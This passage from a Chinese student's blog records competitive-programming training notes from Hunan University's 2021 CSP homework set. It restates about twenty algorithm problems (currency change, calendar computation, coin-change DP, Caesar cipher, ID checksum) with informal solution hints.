换用熟悉的DFS，结果仍然TLE三个点。原因是每次搜索，$p$ 的步进都是 $1$；事实上，仍然使用上个例子，$p=2$ 得到区间3 5 3 6，区间最小值是3，那么 $p=3$ 的区间数 + 1，然后直接搜索 $p=4$ 的情况即可，不必再搜索3的情况。

DFS优化完成后可以达到100分。

第三题

阅读理解越来越难了，做完前面的还剩2小时左右，估计读都读不完。

没做。

第四题

骗得20分。有20% 的数据，每个卡的爆率相同，易得期望就是 $n$。

还有20分比较简单，不知道为啥暴搜没过，5个牌还会T，真是……

第五题

瞄了一眼，似乎需要可持久化的数据结构，但有一个点没有操作2，也许可以暴力存储历史数据。即便如此还是没写出来，放弃了。

总结

暴搜流派yyds！

湖南大学 2021 程序设计训练笔记 - 作业训练 4

Mon, 06 Sep 2021 00:00:00 +0000

所有代码均已上传至 homework/CSP-Training at master · cyp0633/homework (github.com)。不保证代码均正确，正确的也不保证为最优解，可以查看Commit详情进一步了解。如无说明均用C++ 实现。

1. 在霍格沃茨找零钱

个人难度评级：2

问题描述

如果你是哈利 · 波特迷，你会知道魔法世界有它自己的货币系统 —— 就如海格告诉哈利的：“十七个银西可 (Sickle) 兑一个加隆 (Galleon)，二十九个纳特(Knut) 兑一个西可，很容易。”现在，给定哈利应付的价钱 $P$ 和他实付的钱 $A$，你的任务是写一个程序来计算他应该被找的零钱。

输入形式

输入在 $1$ 行中分别给出 $P$ 和 $A$，格式为 “Galleon.Sickle.Knut”，其间用 $1$ 个空格分隔。这里Galleon是 $[0, 10^7]$ 区间内的整数，Sickle是 $[0, 17)$ 区间内的整数，Knut是 $[0, 29)$ 区间内的整数。

输出形式

在一行中用与输入同样的格式输出哈利应该被找的零钱。如果他没带够钱，那么输出的应该是负数。

样例输入1

10.16.27 14.1.28

样例输出1

3.2.1

样例输入2

14.1.28 10.16.27

样例输出2

-3.2.1

解题思路

建议不要全部化为Knut再计算，直接对应相减然后借位即可。

本题一个坑，没带够钱的情况下，输出的数只有Galleon位有负号，实际上的意思是三个数都有负号，后面两个不需要输出。也就是说，” 样例输出2“的意义是找回 - 3 Galleon, -2 Sickle和 - 1 Knut。我建议的处理方式是，如果在借位之前最高位是负值，则将每一位取相反数，并输出一个负号，然后照常借位计算。

2. 最简单的计算机

个人难度评级：1

问题描述

一个名叫是 $PigHeadThree$ 的研究组织设计了一台实验用的计算机，命名为 $PpMm$。$PpMm$ 只能执行简单的六种命令 $A$，$B$，$C$，$D$，$E$，$F$；只有二个内存 $M1$，$M2$；三个寄存器 $R1$，$R2$，$R3$。六种命令的含义如下：
命令 $A$：将内存 $M1$ 的数据装到寄存器 $R1$ 中；
命令 $B$：将内存 $M2$ 的数据装到寄存器 $R2$ 中；
命令 $C$：将寄存器 $R3$ 的数据装到内存 $M1$ 中；
命令 $D$：将寄存器 $R3$ 的数据装到内存 $M2$ 中；
命令 $E$：将寄存器 $R1$ 中的数据和寄存器 $R2$ 中的数据相加，结果放到寄存器 $R3$ 中；
命令 $F$：将寄存器 $R1$ 中的数据和寄存器 $R2$ 中的数据相减，结果放到寄存器 $R3$ 中。
你的任务是：设计一个程序模拟 $PpMm$ 的运行。

输入形式

有若干组，每组有 $2$ 行，第一行是 $2$ 个整数，分别表示 $M1$ 和 $M2$ 中的初始内容；第二行是一串长度不超过 $200$ 的由大写字母 $A$ 到 $F$ 组成的命令串，命令串的含义如上所述。

输出形式

对应每一组的输入，输出只有一行，二个整数，分别表示 $M1$，$M2$ 的内容；其中 $M1$ 和 $M2$ 之间用逗号隔开。

样例输入

100 288
ABECED
876356 321456
ABECAEDBECAF

样例输出

388,388
2717080,1519268

解题思路

果然是最简单的…… 什么，你不会switch语句都不会用吧？

3. 相同生日

个人难度评级：2

问题描述

在一个有 $n$ 个人的大班级中，存在两个人生日相同的概率非常大，现给出每个学生的学号，出生月日，试找出所有生日相同的学生。

输入形式

第一行为整数 $n$，表示有 $n$ 个学生，$n \le 200$。此后每行包含一个字符串和两个整数，分别表示学生的学号 (字符串长度为 $11$ 位) 和出生月 $(1 \le m \le 12)$ 日 $(1 \le d \le 31)$，学号、月、日之间用一个空格分隔。

输出形式

对每组生日相同的学生，输出一行，其中前两个数字表示月和日，后面跟着所有在当天出生的学生的学号，数字、学号之间都用一个空格分隔。对所有的输出，要求按日期从前到后的顺序输出。对生日相同的学号，按输入的顺序输出。

样例输入

6
07101020105 3 15
07101020115 4 5
07101020118 3 15
07101020108 4 5
07101020111 4 5
07101020121 8 10

样例输出

3 15 07101020105 07101020118
4 5 07101020115 07101020108 07101020111
8 10 07101020121

解题思路

建立 vector<string> birthday[13][32]，然后将对应生日的同学之间 push_back 进对应日期的 vector 即可。要求同日期按输入顺序输出，不需 priority_queue 之类。虽学号是数字但不能直接用 long long，当然你输出保留11位，前面补0也可以，主要就是前导0的问题。

4. 日历问题

个人难度评级：3

问题描述

在我们现在使用的日历中, 闰年被定义为能被 $4$ 整除的年份，但是能被 $100$ 整除而不能被 $400$ 整除的年是例外，它们不是闰年。例如：$1700$, $1800$, $1900$ 和 $2100$ 不是闰年，而 $1600$, $2000$ 和 $2400$ 是闰年。给定从公元 $2000$ 年 $1$ 月 $1$ 日开始逝去的天数，你的任务是给出这一天是哪年哪月哪日星期几。

输入形式

输入包含若干行，每行包含一个正整数，表示从 $2000$ 年 $1$ 月 $1$ 日开始逝去的天数。输入最后一行是 $-1$, 不必处理。可以假设结果的年份不会超过 $9999$。

输出形式

对每个测试样例，输出一行，该行包含对应的日期和星期几。格式为 “YYYY-MM-DD DayOfWeek”, 其中 “DayOfWeek” 必须是下面中的一个： “Sunday”, “Monday”, “Tuesday”, “Wednesday”, “Thursday”, “Friday” and “Saturday“。

样例输入

样例输出

2004-09-26 Sunday
2004-10-06 Wednesday
2004-10-16 Saturday
2004-10-17 Sunday

解题思路

这个题结合代码看得更明白。

打表，建立五个数组，内容如下：

$[2000,9999]$ 年范围内，每一年的最后一天是1999年12月31号之后的第几天，即只需计算每年天数的前缀和；
$[2000,9999]$ 年范围内，每一年是否是闰年（这个不要用 true 或者 false 表示，否则代码会超过100KB而无法提交）；
闰年中，每一个月的最后一天是上一年12月31日之后第几天，即每个月天数的前缀和；
平年中，同上；
天数模7，每个余数所对应最后日期的星期，第1个值不是 Monday 也不是 Sunday，而是 Saturday（2000/01/01就是周六，过7的倍数天还是周六）。

首先模7算完星期之后，要将输入的天数 + 1，转换为”2000年1月1日起的第几天 “。

然后枚举第一个数组，如果某个年份（减2000）对应的值大于等于天数，则该年份就是所求日期年份。从天数中减掉数组中上一年对应的值（2000年不用），得到所求日期是这一年的第几天。如果天数减为0，则赋给它本年天数值（当然，直接输出12月31日也未尝不可）。

分是否闰年，枚举第三 / 四个数组，以和上面相似的方式确定月份。自然也就很容易得到日期。

格式化输出中，使用 %02d，输出整型并在不足2位的时候补0。

5. 小希的数表

个人难度评级：4

问题描述

Gardon昨天给小希布置了一道作业，即根据一张由不超过 $5000$ 的 $N$ $(3 \le N \le 100)$ 个正整数组成的数表两两相加得到 $N*(N-1)/2$ 个和，然后再将它们排序。例如，如果数表里含有四个数 $1$，$3$，$4$，$9$，那么正确答案是 $4$，$5$，$7$，$10$，$12$，$13$。小希做完作业以后出去玩了一阵，可是下午回家时发现原来的那张数表不见了，好在她做出的答案还在，你能帮助她根据她的答案计算出原来的数表么？

输入形式

包含多组数据，每组数据以一个 $N$ 开头，接下来的一行有按照大小顺序排列的 $N*(N-1)/2$ 个数，是小希完成的答案。文件最后以一个 $0$ 结束。
假设输入保证解的存在性和唯一性。

输出形式

对于每组数据，输出原来的数表。它们也应当是按照顺序排列的。

样例输入

4
4 5 7 10 12 13
4
5 6 7 8 9 10
0

样例输出

1 3 4 9
2 3 4 6

解题思路

设 $a$ 为原数字列表，$s$ 为和的列表。

首先，由于 $s_i$ 和 $a_i$ 是从小到大排列的，反证法易证 $s_1=a_1+a_2$，$s_2=a_1+a_3$。然而 $s_3$ 并不一定是 $a_2+a_3$，而很可能是 $a_1+a_4$ 等。由此，我们需要枚举 $s_3$ 到 $s_{(n-1)*n/2}$，对于每一个 $s_i$，结合 $s_1$ 和 $s_2$，解出 $a_1$、$a_2$ 和 $a_3$，当它们均为正整数的时候才可能符合条件，能够往下进行。符合这里条件的 $a_2+a+_3$ 可能有多组，可能在后续步骤中会毙掉几组。

然后，我们只需要找出 $s_j=a_1+a_i$，就可以算出 $a_i$。因为 $a_1$ 最小，所以 $s_j$ 排在较靠前的位置，比较好找。比如现在我们要找 $a_1+a_4$，如果将 $a_1$、$a_2$ 和 $a_3$ 两两组合算出和，然后将这些和从 $s$ 中剔除，那么可以证明 $a_1+a_4$ 就是剩下的当中最小的一个和，也就能比较容易地从 $s$ 中找出。当然，仍然要检验 $a_4$ 乃至后面所有的 $a_i$ 是不是正整数。

现在我们找到了 $a_4$，那么该怎么找到 $a_5$ 乃至后面的数呢？我们可以仿照前面的方法，将前面已求出的数两两组合求和，将结果存入一个 set 中（毕竟剔除工作比较复杂）。在遍历每个 $s$ 的时候，如果 $s_i$ 的值处在该set中，则跳过。否则，这个值就是 $a_1+a_{j}$，$j$ 是已经确定的 $a$ 数量。然后，将这个 $a_j$ 分别与前面的 $a$ 相加，存入set，就可以及时维护这个set。

所有 $a$ 的值都确定完成，你以为就得出解了吗？早着呢，这样你会WA掉测试点3、4、5、6和7。刚刚我们所求出的这套解，并不一定能满足题目的条件，也就是加出后面的和。既然已经假定所有的 $a$ 已经解出并符合题目要求，那么set中理应出现测试数据给出的所有的 $s_i$。继续遍历，对后面的每一个 $s_i$，都查找它是否在set中。如果不在，那么这组 $a$ 就不是符合条件的解，再取一个 $a_2+a_3$ 吧……

你兴致勃勃地将代码交了上去，发现只解决了7。不同的 $a_i+a_j$ 组合可以得出相同的两个 $s$ 值。这时候再用set就明显不合适了，可以考虑使用同一个键值允许出现多次的set——multiset，同时将已经在 $s$ 中出现的和删除。很容易想到使用multiset的 erase 函数处理，但这个函数有多个重载，如果传入一个键值，它会删除该键值的 ** 所有 ** 元素。而如果传入一个指针 / 迭代器，就只会删除指向的这一个元素。我们的需求是出现一次删除一次，那当然要传入迭代器。

6. 数塔

个人难度评级：2

问题描述

给定一个数塔，如下图所示。在此数塔中，从顶部出发，在每一节点可以选择走左下或右下，一直走到底层。请找出一条路径，使路径上的数值和最大。

				9
			12		15
		10		6		8
	2		18		9		5
19		7		10		4		16

输入形式

输入时第一行一个整数 $n$，表示该数塔的行数，其余 $n$ 行表示该塔每行的数值

输出形式

输出包含两行，第一行为最大路径上的数值之和，第二行 $n$ 个数字为从上而下最大路径数值

样例输入

5
9
12 15
10 6 8
2 18 9 5
19 7 10 4 16

样例输出

59
9 12 10 18 10

解题思路

一道标准的搜索题，可以DFS也可以BFS，搜索过程中传递行号、列号、当前路径长度和用vector存储的完整路径。

7. 斯诺克台球（不做了）

个人难度评级：6

问题描述

斯诺克台球是一项古老而又时尚的运动，使用长方形球桌，台面四角以及两长边中心位置各有一个球袋，使用的球分为1个白球，15个红球和6个彩球共22个球。

其中母球（白球）1只，目标球21只。目标球中：红球15只各1分、黄球1只2分、绿球1只3分、咖啡球1只4分、蓝球1只5分、粉球1只6分、黑球1只7分。

选手需要使用球杆撞击母球去击打目标球来完成得分，每局开始时总是先从红球开始。击球顺序为先打进红球（每次击打允许多个红球同时落袋），然后必须任意指定一个目标彩球击打，如果该彩球被打进（打进后需要再摆回），然后接着击打红球，直到红球全部落袋，然后以黄、绿、咖啡、蓝、粉红、黑的顺序逐个击球（不再摆回），最后以得分高者为胜。任何时候红球落袋都不再摆回，任何时候因犯规导致彩球落袋，彩球必须摆回。

斯诺克比赛由双方轮流击打，必须击打合规的目标球，打进则本方得到相应的分数并继续击打，未打进或犯规轮换为对方击打，未打进不得分，犯规将进行罚分处理。

犯规规则如下：

1. 当击打目标球时，如果先击打到或同时击打到一个或多个其他颜色的球，或者有其他颜色的球落袋，或者打空 (未击打到任何球)，则视为犯规。此时需要比较目标球的分值和与本犯规相关的其他颜色的球的分值，取其中最高的分值，如果该分值小于4，则对方加4分，否则对方加该分值。

2. 当击打红球落袋后，继续击打任意彩球时打空，即未打击到任何球，对方加4分。

相比正式的斯诺克比赛，本问题对规则进行了简化，任何时候都可以结束比赛并计算比赛结果，不考虑白球落袋的情况。

信息化时代的智能台球桌能自动记录实际比赛时的击打记录，并传送到后台，但该记录仅仅是流水记录，并且无参赛选手的任何信息，需要你编程计算每场比赛的比分，同时需要计算单杆100分及以上的情况（单杆得分是指选手一次连续击打所得分数之和）。

输入形式

输入第一行为正整数 $t$ $(t \le 100)$，表示有 $t$ 组测试数据，每组数据代表一局比赛。

在输入中，球的颜色表示为：

**r - 红色球 y - 黄色球 g - 绿色球 c - 咖啡色球 b - 蓝色球 p - 粉红球 B - 黑色球 **

接下来的每组数据包括若干行，每一行为一次击打的结果，为智能球桌记录下来的流水记录，每组数据最后一行为 - 1，表示每组数据的结束。

流水记录包含用空格分隔的2个部分：

首先撞到的球落袋球及数量

第一部分 “首先撞到的球” 为一个字符串，可以是 “rygcbpB” 中1个或多个字符组合（可能有多个字符 “r”）, 或为字符串“$NULL$”。为“$NULL$” 时，第二部分必为空，表示该次击打未撞击到任何球也没有任何球落袋。当红球落袋后继续击打任意彩球时，该部分为 “ygcbpB” 中的任意单个字符时都认为是合规的目标球。

第二部分 “落袋球及数量” 为一个字符串，例如“r2gb”，代表本次击打有两个红球落袋，以及绿球和篮球落袋，红色球r后面有数字（大于 $0$ 小于 $16$），表示红球的落袋数，其他彩球后无数字。该部分可以为空，表示本次击打无球落袋。

比赛在 $A$ 与 $B$ 之间进行，每局比赛总是由 $A$ 先开球。

输出形式

输出为 $t+1$ 行，前 $t$ 行每行输出用冒号分隔的两个整数，表示每局比赛 $A$ 与 $B$ 之间的比分；最后一行输出用冒号分隔的两个整数，表示 $t$ 局比赛之后 $A$ 与 $B$ 之间获得的单杆 $100$ 分及以上的次数之比（单杆得分是指选手一次连续击打所得分数之和）。

样例输入

3
r r1
B
r r2
c c
r r1
b g
-1
rp r1
r br2B
NULL
r r12
y y
g p
-1
rr r3
NULL
r r1
yg y
-1

样例输出

6:7
13:24
7:5
0:0

样例说明

第一局比赛：

A击打红球，打进1个红球，得1分，比分为1:0

A继续击打任意彩球，打到黑球，未打进，不得分，比分为1:0

轮换为B击打红球，打进两个红球，得2分，比分为1:2

B继续击打任意彩球，打到咖啡球，打进咖啡球，咖啡球摆回，得4分，比分为1:6

B继续击打红球，打进一个红球，得1分，比分为1:7

B继续击打任意彩球，打到蓝球，打进绿球，犯规，取分值最大者蓝球，绿球摆回，对方加5分，比分为6:7

-1比赛结束

第二局比赛：

A击打红球，首先打到红球和粉球，犯规，打进1个红球和咖啡球，犯规，咖啡球摆回，取分值最大的粉球，对方加6分，比分为0:6

B击打红球，首先打到红球，打进蓝球、2个红球和黑球，犯规，蓝球和黑球摆回，取分值最大的黑球，对方加7分，比分为7:6

A击打红球，未打到任何球，犯规，对方加4分，比分为7:10

B击打红球，打到红球，打进12个红球，加12分，比分为7:22

B击打任意彩球，打到黄球，打进黄球，黄球摆回，得2分，比分为7:24

B击打黄球，打到绿球，打进粉球，犯规，粉球摆回，对方加6分，比分为13:24

-1比赛结束

第三局比赛：

A击打红球，打到2个红球，打进3个红球，加3分，比分为3:0

A击打任意彩球，打空，未打到任何球，对方加4分，比分为3:4

B击打红球，打到1个红球，打进1个红球，加1分，比分为3:5

B击打任意彩球，打到黄球和绿球，打进黄球，犯规，黄球摆回，取分值最高的绿球，绿球分值小于4，对方加4分，比分为7:5

-1比赛结束

3局比赛中无人单杆得分过100，最后一行输出0:0

解题思路

大模拟做他🐎呢，笑死，根本做不出来😅

8. 最少钱币数

个人难度评级：4

问题描述

这是一个古老而又经典的问题。用给定的几种钱币凑成某个钱数，一般而言有多种方式。例如：给定了6种钱币面值为2、5、10、20、50、100，用来凑15元，可以用5个2元、1个5元，或者3个5元，或者1个5元、1个10元，等等。显然，最少需要2个钱币才能凑成15元。
你的任务就是，给定若干个互不相同的钱币面值，编程计算，最少需要多少个钱币才能凑成某个给出的钱数。

输入形式

输入可以有多个测试用例。每个测试用例的第一行是待凑的钱数值 $M$ $(1 \le M \le 2000，整数)$，接着的一行中，第一个整数 $K$ $(1 \le K \le 10)$ 表示币种个数，随后是 $K$ 个互不相同的钱币面值 $K_i$ $(1 \le K_i \le 1000)$。输入 $M=0$ 时结束。

输出形式

每个测试用例输出一行，即凑成钱数值 $M$ 最少需要的钱币个数。如果凑钱失败，输出 “Impossible”。你可以假设，每种待凑钱币的数量是无限多的。

样例输入

156 2 5 10 20 50 10011 20

样例输出

2Impossible

解题思路

DP题，有点像完全背包。参考了最少钱币数（DP）_Salmon_lee 的博客 - CSDN 博客。

这道题的最优子结构性质是，可以先得出用前 $i$ 种面值得出 $j$ 元以内的最少钱币数。使用前 $i$ 种面值组合成 $j$ 元的最少钱币数，是 “使用前 $i-1$ 种面值组合成 $j$ 元的最少钱币数” 与“使用前 $i$ 种面值组合成 $j-val$ 元的最少钱币数 + 1，$val$ 为第 $j$ 种钱币的面值”的较小值，即状态转移方程：$dp_{i,j}=min(dp_{i-1,j},dp_{i,j-val})$。两层循环，第一层循环遍历各种面值的钱币，第二层循环遍历各种金额，均为从前往后遍历。二维DP示例代码在这里。

那么可不可以压缩成一维呢？自然可以，将前i种面值的这一维压掉。状态转移方程变为 $dp_i=min(dp_i,dp_{i-val})$。

注意多组数据，dp数组需要memset多次。

9. 相等的多项式

个人难度评级：2

问题描述

小明现在在学习多项式的展开：就是把一个形如

$(x+a_1)(x+a_2)…(x+a_n)$

展开成如下形式：

$x^n+b_1x^{n-1}+b_2x^{n-2}+…+b_{n-1}x+b_n$

比如 $(x+1)(x+2)=x^2+3x+2$

$(x+1)^3=x^3+3x^2+3x+1$

小明做了很多练习，但是不知道对错，现在请求你的帮助，判断小明的展开式是否正确。

输入格式

有多组测试数据。

每组测试数据有三行，第一行是一个正整数 $N$，表示多项式最高指数。$N=0$ 表示输入结束，并且不需要处理。

第二行N个整数ai，用空格隔开，$i=1，…,N(-100 \le a_i \le 100)$

第三行N个整数bi，用空格隔开，$i=1，…,N，(-10^9 \le b_i \le 10^9)$

40% 的测试数据 $1 \le N < 5$；

30% 的测试数据 $5 \le N < 10$；

20% 的测试数据 $10 \le N < 15$；

10% 的测试数据1$5 \le N \le 20$；

输出格式

　　对于每组测试数据，输出一行一个字符‘Y’ 如果展开式是正确的，输出‘N’如果展开式错误。

样例输入

样例输出

Y
Y
N

解题思路

如果还记得二项式定理，这道题会好做很多。使用DFS，对每个因式分别选择乘上字母或者数字，边界条件为选择完所有因式，此时将该次数的因子加到结果多项式的数组对应项即可。

题目输入的多项式是按次数由大到小排的，由 $n-1$ 到 $0$，而我们乘出的多项式数组应该反向与它比较。

10. 选美比赛

个人难度评级：1

问题描述

在选美大奖赛的半决赛现场，有 $n$ 名选手 $(2<n<100)$ 参加比赛。比赛结束时，要在现场按照选手的出场顺序宣布最后名次，获得相同分数的选手具有相同的名次，名次连续编号，不用考虑同名次的选手人数。如：

选手数量： 7

选手得分： 5，3，4，7，3，5，6

宣布名次： 3，5，4，1，5，3，2

请编程帮助大奖赛组委会完成半决赛的评分排名工作。

输入形式

选手数量：7

选手得分：5 3 4 7 3 5 6

输出形式

选手的排名：3 5 4 1 5 3 2

样例输入

7
5 3 4 7 3 5 6

样例输出

3 5 4 1 5 3 2

样例说明

本题的关键在于如何处理同分数的选手排名问题

解题思路

用结构体存储选手，内含编号、得分和排名三个成员变量。

输入得分顺便指定编号，按照得分降序sort一遍，赋给排名（注意：即使有多个第 $n$ 名并列，排在这些后面的仍然是 $n+1$ 名），然后再按照编号升序sort，输出即可。

11. 蛇行矩阵

个人难度评级：2

问题描述

蛇形矩阵是由1开始的自然数依次排列成的一个矩阵上三角形

输入形式

正整数N表示层数，N不大于100

输出形式

输出一个N行的蛇形矩阵，矩阵三角中同一行的数字用一个空格分开，行尾不要多余的空格。

样例输入

样例输出

1 3 6 10 152 5 9 144 8 137 1211

解题思路

首先构建第一列。容易观察得到，上下相邻的两个值有关系 $a_{i,1}=a_{i-1,1}+i-1 (2 \le i \le n)$。要是我还在上高中，也许能算出通项公式，但现在不一定了

然后对于每一行，根据第一列构建剩下的列，根据关系 $a_{i,j}=a_{i,j-1}+i+j-1(1 \le i \le n, 2 \le j \le n-i+1)$。

没必要真按照蛇形去构建，按照上面的方法可以直接打个表交上去，虽然完整的重新构建也不会超时就是了。

12. 疫情期间

个人难度评级：3 | TLE了测试点1

问题描述

正值新冠疫情期间，阿迪没法返回学校学习，他希望通过参加一些比赛来提高一下编程技能，同时做做运动。他收集了接下来的 $n$ 天里每一天的信息，包括健身房是否开放，或者互联网上是否有程序设计竞赛。

第 $i$ 天可以有以下四种情况之一：

该天健身房不开放，互联网上也没有竞赛
该天健身房不开放，但互联网上有竞赛
该天健身房开放，但互联网上没有竞赛
该天健身房开放，互联网上也有竞赛

每天阿迪要么休息，要么编写程序（如果该天有竞赛），要么做运动（如果该天健身房开放）。

现在有一个限制条件：不能连续两天都去做运动，或者连续两天都编写程序。阿迪对自己要求很高，希望尽量多写程序或者多做运动，使得休息的天数尽量最少，求出这个天数。

输入形式

输入的第一行为一个正整数 $n(1 \le n \le 100)$，表示接下来的天数。

第二行为一个用空格分隔的整数序列 $a_1$、$a_2$、…、$a_n$ $(0 \le a_i \le 3)$，这里

$a_i=0$，第 $i$ 天健身房不开放，互联网上也没有竞赛
$a_i=1$，第 $i$ 天健身房不开放，但互联网上有竞赛
$a_i=2$，第 $i$ 天健身房开放，但互联网上没有竞赛
$a_i=3$，第 $i$ 天健身房开放，互联网上也有竞赛

输出形式

输入阿迪可能休息的最小天数。注意限制条件：

不能连续两天去做运动
不能连续两天编写程序

样例输入1

4
1 3 2 0

样例输出1

样例输入2

7
1 3 3 2 1 2 3

样例输出2

样例输入3

2
2 2

样例输出3

样例说明

在第一个样例中，阿迪在第一天编写程序，在第三天做运动，因此他仅有两天可以休息。

在第二个样例中，阿迪可以在第1、3、5、7天编写程序，其他天做运动，因此没有哪天休息。

在第三个样例中，阿迪可以在第1天或第2天做运动，但不能连续两天运动，因此他有一天休息。

解题思路

暴搜90分。DFS传入天数、休息次数和上一天的行为，分为编程、运动和休息三种情况即可。

其实90分也不错了，对吧？

13.7，还是7

个人难度评级：1

问题描述

输出7和7的倍数，还有包含7的数字例如（17，27，37…70，71，72，73…）

输入形式

一个正整数 $N$。($N$ 不大于 $30000$)

输出形式

从小到大排列的不大于N的与7有关的正整数，每行一个。

样例输入

样例输出

解题思路

可以结合 to_string 和字符串 find 函数来找包含7的数字。

14. 组个最小数

个人难度评级：1

问题描述

给定数字0-9各若干个。你可以以任意顺序排列这些数字，但必须全部使用。目标是使得最后得到的数尽可能小（注意0不能做首位）。例如：给定两个0，两个1，三个5，一个8，我们得到的最小的数就是10015558。

现给定数字，请编写程序输出能够组成的最小的数。

输入形式

每个输入包含1个测试用例。每个测试用例在一行中给出多个（不超过50个）数字（0~9之间），整数间用一个空格分隔，且至少拥有1个非0的数字。

输出形式

在一行中输出能够组成的最小的数。

样例输入

2 2 0 0 0 3 0 0 1 0

样例输出

1000000223

解题思路

输入时统计每个数出现次数，先输出一个非零数，然后剩下的从小到大输出。

15. 字频统计

个人难度评级：2

问题描述

在一个只有字母’a’ 和’b’ 组成的字符串中，统计子串 “ab” 和 “ba” 出现次数的差。

输入格式

有多组测试数据。

每组测试数据第一行是一个正整数 $N$，表示字符串长度，接下来一行是长度为 $N$ 的字符串，字符串中只有字母’a’ 和’b’。

$N=0$ 表示输入结束，并且不需要处理。

$40%$ 的数列元素个数 $N$ $1 \le N \le 100$；

$30%$ 的数列元素个数 $N$ $1 \le N \le 1000$；

$20%$ 的数列元素个数 $N$ $1 \le N \le 10000$；

$10%$ 的数列元素个数 $N$ $1 \le N \le 100000$；

输出格式

　　对于每组测试数据，输出一个整数：“ab” 和 “ba” 出现次数的差。

样例输入

7
aaaaaaa
4
abab
0

样例输出

0
1

解题思路

这个似乎用不了字符串的 find 成员函数，那就自己写呗。每个字符串遍历两遍，找就行了。

16. 逆序数

个人难度评级：1

问题描述

在一个排列中，如果一对数的前后位置与大小顺序相反，即前面的数大于后面的数，那么它们就称为一个逆序。一个排列中逆序的总数就称为这个排列的逆序数。也就是说，对于 $n$ 个不同的元素，先规定各元素之间有一个标准次序（例如 $n$ 个不同的自然数，可规定从小到大为标准次序），于是在这 $n$ 个元素的任一排列中，当某两个元素的先后次序与标准次序不同时，就说有 $1$ 个逆序。一个排列中所有逆序总数叫做这个排列的逆序数。

比如：

数列1 7 3 5 4 8 9

其中 $(7,3)$，$(7,5)$，$(7,4)$，$(5,4)$ 构成逆序，所以其逆序数为 $4$。

对给定的数列，求出其逆序数。

输入格式

有多组测试数据。

每组测试数据第一行是一个正整数 $N$，表示数列中元素个数，接下来一行 $N$ 个用空格分隔开的正整数，表示数列的 $N$ 个元素，数列元素值小于 $32768$，并且一个数列中没有两个数值相同。

$N=0$ 表示输入结束，并且不需要处理。

$40%$ 的数列元素个数 $N$ $1 \le N \le 10$；

$30%$ 的数列元素个数 $N$ $1 \le N \le 100$；

$20%$ 的数列元素个数 $N$ $1 \le N \le 1000$；

$10%$ 的数列元素个数 $N$ $1 \le N \le 5000$；

输出格式

　　对于每组测试数据，输出一个整数：数列的逆序数。

样例输入

7
1 7 3 5 4 8 9
4
1 2 3 4
0

样例输出

4
0

解题思路

两层循环枚举组合解决。

17. 最小钱币数（贪心算法）

个人难度评级：1

问题描述

阿迪有很多钱。他在银行里有n元。出于安全考虑，他想用现金取款（此处不透露原因）。钞票的面额是1，5，10，20，100元。取出全部余额后能收到的最小钞票数是多少？

输入形式

输入一个正整数 $n$，$(1 \le n \le 10^9)$

输出形式

阿迪能收到的最小钞票数

样例输入1

样例输出1

样例输入2

样例输出2

样例输入3

1000000000

样例输出3

10000000

样例说明

本题可以直接使用贪心策略（优先尽可能多选择大面额的钞票）解决：主要原因是后一个的权值（这里就是纸币面值）是前一个的2倍或以上。

可以思考一下如果货币的类型是1,9,10元三种，要求凑出18元，你可能就会发现贪心算法出错了！

解题思路

上面说得这么明白了我还说啥啊，这题没了DP就没了灵魂了。

18. 身份证校验

个人难度评级：1

问题描述

我国国标〖GB 11643-1999〗中规定：公民身份号码是18位特征组合码，由十七位数字本体码和一位数字校验码组成。排列顺序从左至右依次为：六位数字地址码，八位数字出生日期码，三位数字顺序码和一位数字校验码。其校验码 (最后一位) 计算方法和步骤为：

(1) 十七位数字本体码加权求和公式

$S = sum(A_i * W_i), i = 0, … , 16$ ，先对前17位数字的权求和

其中 $A_i$：表示第i位置上的身份证号码数字值

$W_i$：表示第i位置上的加权因子，前17位加权因子从左到右分别为

$W_i$：7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2

(2) 计算模

$Y = mod(S, 11)$

(3) 通过模Y查下表得到对应的校验码

$Y$	0	1	2	3	4	5	6	7	8	9	10
校验码	1	0	X	9	8	7	6	5	4	3	2

例如：某身份证前17位为11010519491231002

$i$	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17
$W_i$	7	9	10	5	8	4	2	1	6	3	7	9	10	5	8	4	2
	1	1	0	1	0	5	1	9	4	9	1	2	3	1	0	0	2
积	7	9	0	5	0	20	2	9	24	27	7	18	30	5	0	0	4

得到和为：167；则模为 $y=167%11=2$

查 (3) 得校验码为X（大写）

请按上面所述步骤编程，输入一个二代身份证号，检查该身份证是否正确。

输入形式

输入若干行，每行一个身份证号码，最后一行输入 - 1

输出形式

输出1代表正确，0代表错误

样例输入

120223198902021249
130132199210293822
130402198207290622
-1

样例输出

1
1
0

解题思路

如果会用 std::map，可以将校验码和余数对应，很方便。写一堆if倒也不是不能做。

18. 最长递增子序列

个人难度评级：2

问题描述

给出一个由 $n$ 个正整数组成的数组。您的任务是找到给定数组的递增子数组的最大长度。

递增子数组由数组中若干个连续元素组成，且子数组中的每个元素严格地大于前一个元素。

输入形式

第一行为一个正整数 $n(1 \le n \le 10^5)$，表示数组元素的个数

第二行给出 $n$ 个正整数 $a_1$ $a_2$……$a_n$ $(1 \le a_i \le 10^9)$ ，整数之间使用空格分隔

输出形式

输出最大递增子数组的长度

样例输入

5
1 7 2 11 15

样例输出

样例说明

1 7可以构成一个递增子数组

2 11 15可以构成一个递增子数组

所以本样例的输出结果为3

解题思路

贪心。遍历一遍，有递增的就计数，不递增了就重置。

20.Caesar密码

个人难度评级：1

问题描述

Julius Caesar生活在充满危险和阴谋的年代。为了生存，他首次发明了密码，用于军队的消息传递。假设你是Caesar军团中的一名军官，需要把Caesar发送的消息破译出来、并提供给你的将军。消息加密的办法是：对消息原文中的每个字母，分别用该字母之后的第5个字母替换（例如：消息原文中的每个字母A都分别替换成字母F），其他字符不变，并且消息原文的所有字母都是大写的。密码字母：A B C D E F G H I J K L M N O P Q R S T U V W X Y Z原文字母：V W X Y Z A B C D E F G H I J K L M N O P Q R S T U

输入形式

最多不超过100个数据集组成。每个数据集由3部分组成：起始行：START密码消息：由1到200个字符组成一行，表示Caesar发出的一条消息结束行：END在最后一个数据集之后，是另一行：ENDOFINPUT

输出形式

每个数据集对应一行，是Caesar的原始消息。

样例输入

START
NS BFW, JAJSYX TK NRUTWYFSHJ FWJ YMJ WJXZQY TK YWNANFQ HFZXJX
END
START
N BTZQI WFYMJW GJ KNWXY NS F QNYYQJ NGJWNFS ANQQFLJ YMFS XJHTSI NS WTRJ
END
START
IFSLJW PSTBX KZQQ BJQQ YMFY HFJXFW NX RTWJ IFSLJWTZX YMFS MJ
END
ENDOFINPUT

样例输出

IN WAR, EVENTS OF IMPORTANCE ARE THE RESULT OF TRIVIAL CAUSES
